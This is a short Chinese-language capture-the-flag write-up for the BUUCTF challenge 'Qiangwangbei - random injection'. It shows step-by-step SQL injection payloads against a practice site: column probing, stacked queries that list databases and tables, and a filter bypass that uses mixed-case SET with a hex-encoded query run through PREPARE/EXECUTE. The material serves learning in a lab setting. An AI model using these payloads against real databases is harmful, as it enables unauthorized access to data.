BUUCTF-强网杯-随便注

原创

wuerror 于 2019-06-30 19:06:04 发布
分类专栏： ctf 文章标签： ctf

引用：https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

```
1‘ //首先尝试的加引号，报错了
1’ # //正常
1‘ order by 1 # //用order by 测试得到列数为2
1' union select 1,2 # //回显了过滤规则 return preg_match("/select|update|delete|drop|insert|where|\./i",$inje
```

然后就是今天学的新东西了，堆叠注入。

1';show databases; #

1';show tables; # 发现两个表1919810931114514、words

依次查询两张表的字段

1'; show columns from 表名; #

不过有点问题，只有words有回显。(翻博客发现数字串为表名的表操作时要加反引号，加上之后发现的确有flag字段)

大佬wp展示了一手存储过程绕过

payload：

```
http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare exe
```

PREPARE语句准备好一条SQL语句，并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行，通过DEALLOCATE PREPARE命令释放掉。

@a变量的16进制值转换一下,看看什么意思

```
mysql> select unhex('73656c656374202a2066726f6d20603139313938313039333131313435313460');
+--------------------------------------------------------------------------------+
| unhex('73656c656374202a2066726f6d20603139313938313039333131313435313460') |
+--------------------------------------------------------------------------------+
| select * from `1919810931114514`                                               |
+--------------------------------------------------------------------------------+
1 row in set (0.00 sec)
```